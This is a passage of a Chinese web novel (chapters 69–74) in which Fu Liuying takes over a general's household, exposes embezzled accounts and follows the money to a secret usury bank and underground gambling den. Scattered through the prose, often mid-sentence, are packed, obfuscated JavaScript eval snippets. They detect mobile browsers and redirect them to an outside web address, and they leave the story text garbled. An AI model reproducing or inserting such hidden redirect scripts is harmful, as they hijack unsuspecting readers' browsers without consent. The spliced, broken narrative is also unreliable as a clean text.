“正是。”傅流萤的声音平静无波，仿佛在说一件再寻常不过的事情，“女儿不日即将嫁入督主府。督主府规矩森严，事务繁杂，远非这将军府可比。女儿想在出嫁前，接手府中庶务，练练手，熟悉一下如何掌理中馈，如何约束下人，免得嫁过去后手忙脚乱，丢了将军府的脸面，也耽误了父亲的大事。” 她顿了顿，目光扫过傅莽阴晴不定的脸，又添了一把火，语气带上几分恰到好处的体贴与无奈。 “再者，母亲近日因忧心明雪妹妹在家庙受苦，茶饭不思，神思恍惚，连府中大小事务都无暇看管，内宅里已经出现了欺软怕硬，偷工减料的人，长此以往，恐怕会生事端，女儿身为傅家嫡长女，为母亲分忧，替父亲看顾好这府邸后院，亦是分内之事。” 傅莽听着这话就皱了皱眉头，立马就想到了柳飞燕。 自从傅明雪被送走，柳飞燕就整日哭哭啼啼，给他甩脸子看，连最基本的温顺体贴都忘了！ 第六十九章 管家之权 更别提打理府务！ 他回府这几日，连口顺心的饭菜都没吃着，后院更是出现了懈怠的现象。 长此以往下去确实会对将军府不利。 他这些年，是不是太过纵容她了？只守着她一个，反倒把她惯得不知天高地厚，连女儿都不如！ “哼！”傅莽重重地冷哼一声，胸中憋闷的怒火和对柳飞燕的不满瞬间占了上风。 他锐利的目光再次在傅流萤脸上扫视了几个来回。 要管家权？ 给她又何妨！ 一个即将嫁出去的女儿，管家权捏在手里，也翻不出多大的浪。 正好借此机会，磨磨她的性子，让她明白将军府才是她的根！ 更重要的，是让她切实感受到权力带来的好处，才能更死心塌地地为他所用，去盯着萧玹！ “好！”傅莽猛地一拍桌子，震得笔架上的毛笔都跳了一下，“为父答应你！即日起，这将军府内院庶务，便由你暂时代管！” 傅流萤眼底深处，一丝冰冷的笑意飞快掠过。 “谢父亲信任。”傅流萤微微低了低头。 “不过。”傅莽话锋一转，眼眸锐利如鹰隼，带着毫不掩饰的警告与胁迫，“你也要记住你今日的话！记住你姓傅！嫁入督主府后，萧玹的一举一动，他府中任何风吹草动，尤其是他与朝中大臣的往来，他手中掌握的……所有关于将军府的消息动向，你都必须第一时间，清清楚楚地禀报给为父！不得有丝毫隐瞒！” “若让为父发现你有任何二心……”傅莽的声音陡然转冷，如同淬了毒的冰刃，“后果，你应该清楚！” 傅流萤低垂着头，掩去眸中翻涌的冰冷。 “女儿明白。”她的声音平静无波，听不出丝毫异样，“父亲放心，流萤定当竭尽全力。” “很好。”傅莽似乎满意了。 “那嫁妆一事，不知父亲是否答应？” 提到私库里的宝贝傅莽顿时就有些心疼。 那可是他搜罗了多年的宝贝每一样都价值连城。 “你母亲不是给你添了一半的嫁妆吗？算上萧玹送来的，也够了。” 傅流萤的目光落在了傅莽的身上，“难道我身为父亲唯一的女儿出嫁，父亲都不添嫁妆的么？母亲确实拿了一半的嫁妆出来给我当做嫁妆带去萧玹的府上，可这是由母亲的嫁妆里拿出来的可不算做将军府的嫁妆，若是父亲一点嫁妆都不添这件事传出去的话恐怕会让人笑话将军府一毛不拔。” 傅流萤吐字清晰，说话也极有条理，这让傅莽的脸色瞬间心沉了下去。 这傅流萤明里暗里就是想让他添嫁妆，她都已经有那么丰厚的嫁妆了，居然还要他从私库里拿出价值连城的宝贝。 “父亲我这也是为了咱们将军府着想，毕竟若是真的传出去，不仅将军府面上无光，父亲在皇上和太后娘娘的面前想必也没法交代。” 傅莽紧紧的捏了捏手指。 最后挥了挥手，“去吧。明日我会让管家把对牌账册，还有聘礼送到你院中。” “是。”傅流萤应声转身，步履从容地向门口走去。 就在她的手即将触碰到冰冷的门扉时，脚步却忽然顿住。 她并未回头，清泠的声音在寂静的书房里轻轻响起，如同投入深潭的一颗小石子。 “对了，父亲。方才母亲忧思过度，提起了明雪妹妹。” 傅莽皱起眉。 “女儿想着，明雪妹妹在家庙也反省了些时日。听闻她近日身子欠安，家庙清苦，恐于调养不利。”傅流萤的语气淡淡的，“不如，就让她先回来养病吧？” 傅莽沉吟片刻。 傅明雪毕竟是他疼了多年的女儿，送去家庙也只是权宜之计，让她回来也无不可。 他点了点头，“嗯，明日便让人去接她……” 傅流萤的声音紧接着响起，轻飘飘的，却像一根最细的针，精准无比地刺中了傅莽心底。 “反正近日三哥都宿在军营操练，轻易不得回府，他们二人……想来也见不上面，出不了什么岔子。” 傅流萤提醒傅莽这才想起来当初为什么会送傅明雪去家庙。 不就是因为傅明雪私藏了傅凛的香囊吗。 养女私藏养胸的香囊传出去只怕让人笑掉将军府的大牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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管家的脸色有一些难看，“倒是也没什么问题，只是这么多年开支的账目数量有些多，我只是担心大小姐一时之间看不完。” 第七十章 账本有问题 傅流萤看着管家脸上那副欲言又止的模样，眼神渐渐冷了下来。 “怎么？”她声音轻柔，却带着不容置疑的威严，“管家是不想遵从我的命令了？” 管家额上顿时沁出一层细密的汗珠，连忙躬身道，“老奴不敢！只是这账目繁杂……” “啪！” 傅流萤猛地一拍桌案，茶盏震得叮当作响。 她站起身，居高临下地俯视着管家，眼中寒光乍现，“既然父亲将这管家大权交给了我，这后宅之事便由我说了算！管家是要违抗本小姐的命令吗？” 这一声厉喝如同惊雷炸响，管家浑身一颤，竟不由自主地跪了下去。 他从未见过这位大小姐如此凌厉的一面，那气势竟比夫人发怒时还要骇人三分。 “老奴这就去取账本！这就去！”管家连连磕头，连滚带爬地退了出去。 待管家走后，夏婵上前一步，低声道，“小姐，那管家支支吾吾的，这账本肯定有问题。” 傅流萤轻轻“嗯”了一声，重新坐回椅上，指尖有节奏地敲击着桌面，“我倒是要看看，这将军府的账到底出了什么问题，柳飞燕管家这么多年，那么多黄金地段的铺子，收益却平平，那些钱到底去了哪里。” 她目光转向窗外，那里正对着柳飞燕院子的方向，唇角勾起一抹冷笑。 管家从芳华院仓皇退出，后背的衣衫已被冷汗浸透。 他不敢耽搁，让人把账房的账本送去芳华院，而后直奔柳飞燕的院子。 “夫人！大事不好了！”管家一进门就跪倒在地，声音发颤。 柳飞燕正靠在软榻上，由丫鬟捶着腿。 自从傅明雪被送走，她整个人都憔悴了不少，眼下挂着两团青黑。 见管家如此慌张，她不耐烦地皱眉，“慌什么？天塌了不成？” “大小姐……大小姐要查历年账目！”管家额头抵着地，“老奴实在拦不住啊！” “什么？”柳飞燕猛地坐直身子，脸色瞬间煞白。 她一把推开捶腿的丫鬟，声音陡然拔高，“傅流萤，她怎么敢。” 她站起身，在屋内来回踱步，手指紧紧绞着帕子，“不过是病了几天，她居然敢去找将军要管家大权！真是不把我这个母亲放在眼里！” “夫人，现在怎么办？”管家小心翼翼地问，“那些账本……” “闭嘴！”柳飞燕厉声喝止，眼中闪过一丝慌乱。 她深吸一口气，强自镇定下来，“去，把李嬷嬷、王管事他们都叫来！我倒要看看，这个逆女有多大本事，敢从我手里抢东西！” 不到一盏茶的功夫，柳飞燕身边的心腹仆妇和管事们便齐聚一堂。 她换上一身正装，带着十几号人，气势汹汹地向芳华院杀去。 芳华院内。 傅流萤正在翻阅刚送来的近三个月账册。 春芽匆匆进来禀报，“小姐，夫人带着一大群人往这边来了！” 傅流萤头也不抬，淡淡道，“来得倒是快。” 她合上账本，整了整衣袖，“去，把院门打开，请夫人进来。” 话音刚落，院外已传来柳飞燕愤怒的声音，“傅流萤！你给我出来！” 傅流萤缓步走出房门，就见柳飞燕带着一众仆妇站在院中，个个面色不善。 她微微一笑，目光落在了柳飞燕的身上，眼底没有丝毫的笑意，“母亲怎么亲自来了？有什么事派人传唤一声便是。” “少在这里假惺惺！”柳飞燕气得浑身发抖，指着傅流萤的鼻子骂道，“你这个不孝女！趁我尚在病中，竟敢去将军面前搬弄是非，夺我管家之权！” 傅流萤直起身，脸上笑容不变，“母亲此言差矣，女儿不过是见母亲忧思过度，无力打理家务，这才向父亲**，为母亲分忧罢了。” “你！”柳飞燕被这冠冕堂皇的话堵得一窒，随即更加恼怒，“好一张利嘴！我管家十几年，从未出过差错，用得着你来分忧？” 她转向身后众人，厉声道，“去！把账房钥匙和对牌都给我拿回来！” 几个膀大腰圆的婆子闻言就要上前。 春芽、夏婵立刻挡在傅流萤身前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅流萤抬眸与他对视，丝毫不惧，“兄长一直在外经商，这次又是数月不曾回来，对府中事务有所不知，也属于正常。” “傅明雪被送走，是因为她行为不端，私藏男子香囊，有辱门风。至于管家之权……”她晃了晃手中的令牌，“是父亲亲自交给我的。” “胡说八道！”傅湛怒喝一声，“明雪最是乖巧，怎会做出这等事？定是你陷害于她！”他转向柳飞燕，“母亲，是不是这样？” 柳飞燕眼神闪烁，支吾道，“这……这其中必有误会……” 傅流萤冷笑一声，从袖中取出一个香囊，正是当日从傅明雪身上掉下的那个。 “二哥若不信，大可看看这个，这上面的凛字，可是三哥一惯用的。” 傅湛接过香囊一看，脸色骤变。 他与傅凛关系最是要好，自然认得。 这香囊确实是傅凛之物！ “这……”傅湛一时语塞，但很快又强硬起来，“即便如此，你也不该夺母亲管家之权！你在府中十年，什么都没学过，连字都认不全，凭什么掌家？那账本你看得懂吗？” 傅流萤不慌不忙，转身从桌上拿起一本账册，随手翻开一页，“上月二十，绸缎庄收入三百两，支出二百八十两，其中一百五十两用于进货，三十两伙计月钱，剩余一百两……”她顿了顿，抬眼看向柳飞燕，“记作特殊开支，母亲，这一百两特殊开支，用在了何处？” 柳飞燕脸色一白，强撑着道，“自然是……府中用度……” “是吗？”傅流萤又翻了几页，“几乎每月都有这么一笔特殊开支，少则几十两，多则上百两，这还只是一个绸缎庄的，若是算上其他的店铺，这些钱加起来，可不是小数目。” 她合上账本，直视傅湛，“兄长说我不会看账，现在觉得如何？” 傅湛被问得哑口无言，脸色一阵青一阵白。 他虽不懂内宅事务，但是他经商多年，账本算的比谁都懂。 自然看出来傅流萤是真懂账本。 “够了！”柳飞燕突然尖声打断，“傅流萤！你别在这里挑拨离间！这些开支都有正当用途，只是记账简略了些！” 傅流萤微微一笑，“既然如此，母亲更应该支持我查账了，把账目理清，也好还母亲一个清白，不是吗？” 柳飞燕气得浑身发抖，却说不出反驳的话来。 傅流萤看着柳飞燕眼底的心虚，眼底的冷意更深。 看样子这些账本存在很大问题。 傅湛见母亲如此，虽然心中疑惑，但还是护短，“傅流萤！你别太过分！识相的就赶紧把管家之权交出来！” “交出来？”傅流萤冷笑，“交给谁？交给一个可能****的人吗？” “你！”傅湛大怒，抬手就要**，“你怎么能这样说母亲，你眼里还有没有母亲了？” 傅流萤不退反进，仰头直视他，“兄长要动手？好啊，尽管打，只是不知父亲知道后，会如何处置？” 傅湛的手僵在半空，迟迟不敢落下。 他虽鲁莽，但也知道如今傅流萤身份不同，是陛下钦定的督主夫人，若真伤了她…… “哼！”傅湛最终收回手，狠狠甩袖，“我们走！母亲，去找父亲说理去！” 柳飞燕怨毒地瞪了傅流萤一眼。 傅湛拉着她就要走，柳飞燕抓住了他的手臂，有些支支吾吾的，“阿湛，你父亲忙于军营之事就不要因为这点小事去打扰他了，不过就是管家大权而已，母亲受点委屈没什么的，既然流萤喜欢，那就让她掌家吧。” “正好我也趁这段时间好好休息一下，你刚回来别因为这些琐事伤了你们兄妹的感情。” 在柳飞燕的劝说下，傅湛这才罢休，扶着柳飞燕快步离开。 待他们走后，春芽长舒一口气，“小姐，您真是太厉害了！连二少爷都被您镇住了！” 傅流萤望着院门方向，眼中寒光未消，“这才刚开始。” 她转身回屋，“去，把府中所有管事都叫来，我要重新安排人事。” 一个时辰后，芳华院正厅内，二十余名管事战战兢兢地站着。 傅流萤端坐上首，慢条斯理地翻看着名册 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073508|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “李嬷嬷。”她突然开口。 一个五十多岁的婆子浑身一抖，上前一步，“老奴在。” “听说你负责采买已有十年了？”傅流萤头也不抬地问。 “是……是的。” “那你能解释一下，为何同样的布料，你采买的价钱比市价高出三成？”傅流萤抬起眼，淡淡的眸光冷冽的扫过了李嬷嬷。 李嬷嬷腿一软，跪倒在地，“大小姐明鉴！老奴……老奴是冤枉的。” “拖出去，打二十板子，全家发卖！”傅流萤冷冷道。 “大小姐饶命啊！”李嬷嬷哭喊着被拖了出去。 厅内众人噤若寒蝉，大气都不敢出。 生怕惹到这位大小姐不高兴。 傅流萤继续点名，“王管事。” 一个中年男子面如土色地站出来。 “你负责的米粮账目，每月损耗高达两成，是也不是？” “这……这是正常损耗……” “是吗？”傅流萤冷笑，“我查过其他府上的账目，损耗最多不过一成，你贪墨的银子，够买你全家的命了！” 王管事扑通跪下，连连磕头，“大小姐饶命！奴才知错了！奴才只是一时糊涂这才酿成大祸，请小姐看在奴才为将军府尽心尽力的份上，饶了奴才这一次吧。” “念在你为府中效力多年的份上。”傅流萤淡淡道，“打十板子，全家发配庄子上做苦力。” 就这样，傅流萤一连处置了五六个管事，个个证据确凿，令人无从辩驳。 剩下的管事们，再不敢有半分轻视之心。 “从今日起，府中规矩重新订立。”傅流萤环视众人，声音清冷，“凡有贪墨、欺上瞒下者，严惩不贷！做得好，赏银翻倍，你们，可听明白了？” “明白了！”众人齐声应道，再不敢有二心。 待众人退下，傅流萤揉了揉太阳穴，对夏婵道，“去，把历年账本都搬到我房里来，今晚，我要彻查清楚。” 她要知道柳飞燕到底贪了多少钱，而这些钱最终又流往了何处。 第七十二章 印子钱 当晚，几个账房的小厮搬着账本去了傅流萤的院子，将军府近三年的账本都被堆在了她的厢房里。 春芽和夏婵对视了一眼，眼底满是震惊，“这么多账本，得看到何年马月啊……” 傅流萤淡淡的扫了一眼她们，“最近我也教过你们看账本，今天就当给你们练练手。” 四个丫鬟跃跃欲试，“好啊，小姐，正好可以锻炼一下我的能力。” 夜已深重，浓墨般的夜色沉沉压着将军府。 府内漆黑一片，唯有芳华院西厢房窗纸上，还映着一片昏黄跳跃的光。 烛火熬得久了，灯芯偶尔“噼啪”爆开一朵细小的灯花，在寂静里格外清晰。 厢房内 空气凝滞。 地板上，桌案上，到处堆叠着一摞摞厚重的账本。 烛光在她低垂的侧脸上投下浓重的阴影，长睫在她眼下覆着一小片疲惫的青色。 傅流萤握笔的手指稳定有力。 四个丫鬟各自伏在一张小几上，面前也摊开着厚厚的账本，几个人都强撑着精神，眼皮却像坠了铅，不时沉重地往下耷拉。 秋月端着一壶刚续上的热茶进来，脚步放得极轻，目光扫过这堆积如山的账册海洋，忍不住低低吸了口气，“还有这么多，怕是看到天亮也看不完吧？” 夏婵揉了揉酸涩发胀的眼睛，苦着脸接口，“可不是嘛，小姐，这将军府近三年的流水，简直像要把人活埋了。” 傅流萤并未抬头，淡淡地扫了一眼。 她指尖的朱砂笔在特殊开支三百两的条目上重重圈过。 时间一分一秒过去。 很快，天边泛起了一道白。 “小姐！”春芽猛地直起身，指着自己面前摊开的一册账本。 “您看这里，城南那家绸缎庄，上个月初五，一笔应急周转就支出了八百两，可那铺子当月的总流水才一千出头！” 夏婵也立刻翻出另一本，“城西粮铺这里也有，连着三个月，每月都有三百两的填补亏空，可奴婢记得那粮铺地段极好，从无亏损的说法。” 一旦被撕开一道口子，更多触目惊心的证据便汹涌而出。 一笔笔大额、去向不明支出。 傅流萤看着被她们三人用朱砂圈出的条目越来越多，在账册上连成一片刺目的红，眼神越来越冷，像结了冰的深潭。 “把圈的地方记下来。” 春芽立刻将标记过的条目誊抄到一张素笺上。 墨迹未干，傅流萤接过来，目光锐利地扫过那些令人心惊肉跳的数字和标注的日期、店铺名目。 她的指尖沿着那一个个地点划过。 宝通钱庄、汇丰银楼、利源典当…… 最终，她的指尖重重地戳在其中一个名字上。 “恒昌记钱庄？”夏婵凑近看了一眼，“这家钱庄……奴婢记得在城北，门脸不大，名声似乎也寻常。” “寻常？”傅流萤唇边勾起一抹冰冷的弧度，带着洞察的寒意，“把这么多笔来源不明的大额款项，都分散汇入这家寻常钱庄……这本身就不寻常。” 她将那页纸折起，递给夏婵，“去查查这个恒昌记的底细。” “是！”夏婵小心地将纸贴身藏好。 春芽看着自家小姐眼底浓重的青影，心疼道，“小姐，天都快亮了，您快歇会儿吧？哪怕眯一两个时辰也好。” 紧绷了一夜的神经骤然松懈，疲惫如同潮水般席卷而来。 傅流萤确实感到太阳穴针扎似的隐隐作痛，眼睛也干涩发胀。 她闭了闭眼，没有拒绝，“嗯。” 秋月早已备好温水。 傅流萤就着铜盆，用沁凉的水扑了扑脸，冰冷的触感稍稍驱散了混沌。 她卸下钗环，和衣躺到床上。 身体极度疲惫，脑子里却依旧回章着那些朱红的数字、模糊的账目和“恒昌记”三个字。 柳飞燕……她究竟有多大的胆子？ 这些钱，最终又流向了何处？ 意识在沉重的倦意与纷乱的思绪中沉浮，傅流萤很快就睡着了。 “噼里啪啦……” “二少爷把三小姐接回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073509|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦！” “快快快！把院子都打扫干净！三小姐最爱干净了！” “夫人可算盼到了，这下心病该好了！” 锣鼓声、鞭炮声、下人们刻意拔高的欢笑声、杂沓的脚步声…… 各种声音交织在一起，几乎要将芳华院的屋顶掀翻。 那喧闹的源头，显然是柳飞燕所居的主院方向。 傅流萤倏然睁开眼。 眼底残留的睡意瞬间被冰冷的清醒取代。 她坐起身，窗外已是天光大亮，阳光明晃晃地有些刺眼。 秋月端着脸盆进来，脸上带着明显的愠色和没睡好的憔悴，一边伺候傅流萤梳洗，一边忍不住低声抱怨。 “吵**了！天不亮就开始折腾，又是放炮又是敲锣打鼓的，生怕全京城不知道三小姐回来了似的！” “不就是从家庙接个人回来吗？不知道的还以为是迎什么天仙娘娘凤驾还朝呢！弄得我们芳华院这边也不得安生……” 傅流萤坐在梳妆台前，铜镜映出她略显苍白却依旧沉静的容颜。 她拿起一支素雅的珍珠发簪，对着镜子稳稳插入发髻，动作不疾不徐。 听到秋月的牢骚，她眼睫都未抬一下，声音平淡无波，“旁人的事，少议论。做好自己的本分。” 她看着镜中的自己，眼神锐利，“梳个利落些的发髻，不要那些累赘的钗环。” 秋月立刻噤声，麻利地应道，“是，小姐。” 手上的动作愈发轻快仔细。 刚梳妆停当，门帘一挑，夏婵带着一身清晨微凉的露气快步走了进来。 她脸色微凝，对着傅流萤无声地点了点头，眼神交汇间，一切已在不言中。 “都下去吧。”傅流萤屏退了秋月和春芽。 房门关上，屋内只剩下主仆二人。 夏婵这才压低声音，伏在傅流萤的耳边，轻声的说，“小姐，查到了！那恒昌记钱庄，表面上做着存取借贷的寻常生意，门庭冷落，伙计也懒散。但奴婢蹲守了半日，又花了些钱打点附近的小贩，才套出点真话。” 第七十三章 赌场 她吸了口气，声音压得更低，带着一丝惊悸，“这钱庄……背地里，是放印子钱的！” “印子钱？”傅流萤握着梳子的手猛地一紧，指节微微泛白。 饶是她早有猜测，此刻亲耳证实，心头依旧像被重锤狠狠砸了一下，一股寒意瞬间从脊椎窜上后脑。 朝廷律法，白纸黑字，明令禁止民间私放印子钱！ 这是扰乱民生、动摇社稷根基的重罪！ 轻则抄家流放，重则……满门抄斩！ 柳飞燕，她怎么敢？ 她掌着将军府中馈，竟还敢沾这等杀头的勾当？ 她就不怕这把火，最终烧到整个将军府，烧到傅莽头上？ 傅流萤起身，来回踱了两步。 傅莽……他知道吗？ 以他多疑谨慎又极重权势地位的性子，若知道枕边人竟敢如此自掘坟墓，恐怕第一个亲手掐死柳飞燕的就是傅莽！ 傅莽昨日肯交出管家权，虽有权衡利用之意，但若知晓此事牵连如此之深，如此之险，绝无可能这般轻易放手。 “父亲……应该不知情。” 傅流萤停下脚步，语气笃定，眼神却冷得骇人。 “否则，他绝不会容柳飞燕活到现在，更不会将管家权交予我，平添变数。” 她看向夏婵，目光如炬。 “这印子钱，绝非柳飞燕一人之力能运作。恒昌记背后，必有更大的黑手！这钱庄，很可能就是他们收拢**、放贷盘剥的一个重要窝点！” “小姐，那我们……” “不入虎穴，焉得虎子。”傅流萤眼中闪过一丝冷意，“备车我要亲自去那恒昌记探个究竟，你和春芽随我同去，都换上不起眼的粗布衣裳，扮作寻常人家的仆妇。” 半个时辰后，一辆灰扑扑、毫不起眼的青布小车，停在了城北一条相对僻静的巷口。 巷子深处，“恒昌记”那褪了色的招牌懒洋洋地挂着。 傅流萤穿着一身半旧的靛蓝棉布衣裙，头发用同色布巾包住大半，脸上还特意薄薄敷了一层暗黄的粉，遮掩住过于莹白的肤色。 她低着头，跟在同样打扮的春芽和夏婵身后，脚步沉稳地走向钱庄大门。 钱庄内果然冷清。 柜台后只有一个四十来岁、留着两撇鼠须的账房先生，正支着下巴打盹，听见脚步声才懒洋洋地抬起眼皮。 他浑浊的目光在傅流萤三人身上随意扫了扫，见是三个衣着寒酸的妇人，眼中立刻流露出毫不掩饰的轻蔑。 “存钱还是借钱啊？”语气拖沓，透着股不耐烦。 夏婵上前一步，脸上堆起市井妇人常见的，带着点谄媚又畏缩的笑容。 “掌柜的，俺们想打听打听，家里男人在外头欠了点……嗯，那个账，利滚利的，窟窿太大，实在还不上了。听说您这儿路子广，能……能帮着通融通融，缓些时日不？” 她搓着手，显得局促不安，将一个被**逼得走投无路的妇人形象演得惟妙惟肖。 那账房先生眯了眯眼，上下打量着夏婵，又瞥了瞥她身后低眉顺眼的傅流萤和春芽，嘴角撇了撇，露出一丝心照不宣的冷笑。 “哼，又是被那阎王债缠上的？早干嘛去了！”他慢悠悠地端起茶杯啜了一口，才压低声音道，“想缓？也不是不行……不过嘛，总得让管事的看看你们的‘诚意’。跟我来吧。” 他站起身，朝柜台后面那扇挂着厚布帘的小门努了努嘴。 傅流萤心中一凛，面上却不动声色，只微微缩了缩肩膀。 三人跟着那账房，掀开油腻厚重的布帘，走进一条光线昏暗的狭窄通道。 通道尽头，是一堵灰扑扑的砖墙，看似死路。 账房走到墙边，伸手在墙角一块不起眼、布满油污的墙砖上看似随意地按了几下。 只听一阵极轻微的“咔哒”声，那堵严丝合缝的砖墙，竟无声地向内滑开一道仅容一人通过的缝隙！ 一股混合着汗味和某种难以言喻的霉味的浑浊气息，立刻从缝隙里扑面涌出。 账房朝里面扬了扬下巴，“进去吧，管事的在里头。规矩点，不该看的别看，不该问的别问！” 夏婵和春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080879|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芽交换了一个紧张的眼神。 傅流萤深吸一口那污浊的空气，当先一步，侧身钻进了那道暗门。 门内是一条更加狭窄，仅能容一人通行的石阶，盘旋向下，通往幽深未知的地底。 墙壁上每隔一段才挂着一盏昏黄如黄豆的油灯，光线勉强照亮脚下湿滑的石阶。 更深处则完全隐没在浓重的黑暗里，只有分辨不清来源的嘈杂人声。 傅流萤扶着冰冷潮湿的石壁，小心翼翼地往下走。 石阶陡峭湿滑，空气愈发沉闷污浊，那混杂着烟味、汗味和劣质酒水的气味浓得几乎令人窒息。 这里有些奇怪。 钱庄地下，居然有这么一个地方。 不知走了多久，前方终于透出一片稍亮的光，人声也骤然清晰嘈杂起来。 是骰子在盅里疯狂摇动的哗啦声。 赌徒们亢奋或绝望的嘶吼叫骂。 银钱碰撞的叮当脆响…… 傅流萤听着动静，眉心紧锁。 就在她们即将踏上最后几级台阶，看清下方景象的瞬间，傅流萤脚步猛地一顿！ 通道拐角处，一道颀长挺拔的黑色身影立在那里。 那人背对着她们，正微微俯身。 尽管只是一个背影，尽管那人穿着最普通的玄色劲装，头上甚至还戴着一顶压低的斗笠，傅流萤还是认出了他。 萧玹！ 他怎么会在这里？ 他的身形完美的隐匿于黑暗的拐角处。 不仔细看根本就看不出来。 傅流萤靠近的刹那，萧玹似乎察觉到了身后的异样气息。他拂过最后一块砖石的手指微微一顿，随即缓缓转过身来。 斗笠的阴影遮住了他大半张脸，只露出线条冷硬的下颌和那双在昏暗中依旧幽深得如同寒潭的眼眸。 那目光瞬间锁定了傅流萤，带着一丝意外。 四目相对 时间仿佛在昏暗潮湿的地道里凝滞了一瞬。 傅流萤强迫自己回神，微微抬了抬下巴，轻声开口，“督主？” 第七十四章 萧玹的秘密 萧玹的目光在她刻意涂暗的脸上停留了一瞬。 那双深不见底的黑眸里，漾开一丝微不可察的涟漪，随即迅速沉淀下去，被带着玩味幽光所取代。 他并未立刻回答，只是无声地向前一步，两人之间的距离瞬间缩短。 那混合着冷冽沉水香的气息，强势地压过了地道里污浊的味道。 带着一种令人心悸的压迫感。 萧玹微微偏头，斗笠的阴影随之移动，露出了他紧抿的薄唇，唇角似乎向上勾起了一个极浅极冷的弧度。 “傅小姐。”他的声音低沉冷漠，用的是只有两人能听清的声音，“倒是让本督意外得很。” 他幽深的目光如同实质，在她脸上扫过，“看来这将军府的账目，水深得很，竟把傅小姐都逼到了这里？” 他的话语带着明显的试探和一丝不易察觉的嘲弄。 傅流萤心中冷笑，面上却依旧维持着那份强装的平静。 傅流萤迎着他审视的目光，不闪不避，声音压得极低，却异常清晰“水深才能藏大鱼，将军府账目不清，流萤受托掌家，自当查个水落石出。” 她没有任何想隐瞒萧玹的意思，事实上她也隐瞒不住。 毕竟萧玹的眼线遍布将军府。 他想要知道什么很容易，所以她不如坦坦荡荡的。 “倒是督主……”傅流萤微微侧首，目光落在石壁上，淡淡的笑了笑，“您称病闭门谢客，却出现在这**的秘道之中……恐怕也不仅仅是这印子钱吧？” 萧玹眸底深处似乎掠过一丝极淡的讶异，随即被更浓的兴味覆盖。 他并未否认，反而低低地轻笑了一声，那笑声在狭窄的地道里显得格外清晰却又很危险。 “傅小姐果然心思玲珑。”他缓缓抬手，冷白修长的指尖再次拂过石壁上那枚雕刻得最为精细的铜钱纹样，动作似乎在掌控着一切，“不过，你只猜对了一半。” 傅流萤微微皱着眉心。 不明白他说这话的意思。 下一秒，萧玹的指尖微微用力，机器转动的“咔哒”声再次响起，比刚才更加清晰沉闷。 “这恒昌记底下藏的……”萧玹的声音冰冷，目光如炬，“可不仅仅是个放印子钱的窝点。” 随着他话音落下，一股远比之前通道里浓郁十倍、混杂着浓烈汗臭、血腥气以及一种令人极度亢奋的浓烈气息，如同实质的热浪，猛地从那缝隙中汹涌喷薄而出！ 同时，震耳欲聋的声浪如同决堤的洪水，瞬间冲垮了所有屏障。 但是很快就被赌场的声音淹没。 大家都沉浸在**的快乐中，根本就没有发现异常。 “上啊，上啊，给我打。” “好！干得漂亮，打死他，打死他！” “上啊，干他丫的没吃饭吗？本大爷真是白养你这么久了，你个没用的东西。” 傅流萤的耳朵极好，所以清晰地听到了门内传来的、绝非普通赌场的喧嚣。 她的眼底瞬间闪过一抹浓重的诧异。 这绝不仅仅是赌钱的地方！ 还不等她想明白这诡异声音的来源，下一秒，一只强健有力的手臂猛地揽住了她的细腰！ 傅流萤猝不及防，整个人被一股不容抗拒的力量带得撞进一个带着冷冽沉水香气的怀抱。 她惊愕抬头，视线撞入萧玹那双藏在压低的斗笠阴影下、如同寒潭般幽深锋利的眼眸。 他削瘦冷硬的下巴线条紧绷，薄唇抿成一条锐利的直线。 “督主……”傅流萤刚开口。 萧玹却没有给她任何解释或询问的时间，他搂着她腰肢的手臂收紧，带着不容置疑的力道，迅速侧身挤进暗门。 傅流萤在被带入暗门的瞬间，猛地转头，目光锐利地扫向紧随其后，同样惊疑不定的春芽和夏婵，轻声嘱咐，“你们在外面！机灵点，注意安全！” 两个丫鬟反应极快，眼底满是凝重和小心，没有丝毫犹豫地点头。 傅流萤每日雷打不动的三四个时辰严苛训练，早已让她们褪去了普通丫鬟的怯懦，让她们的身手反应和心性都远超常人。 傅流萤的话音刚落，萧玹已带着她完全挤进了门内。 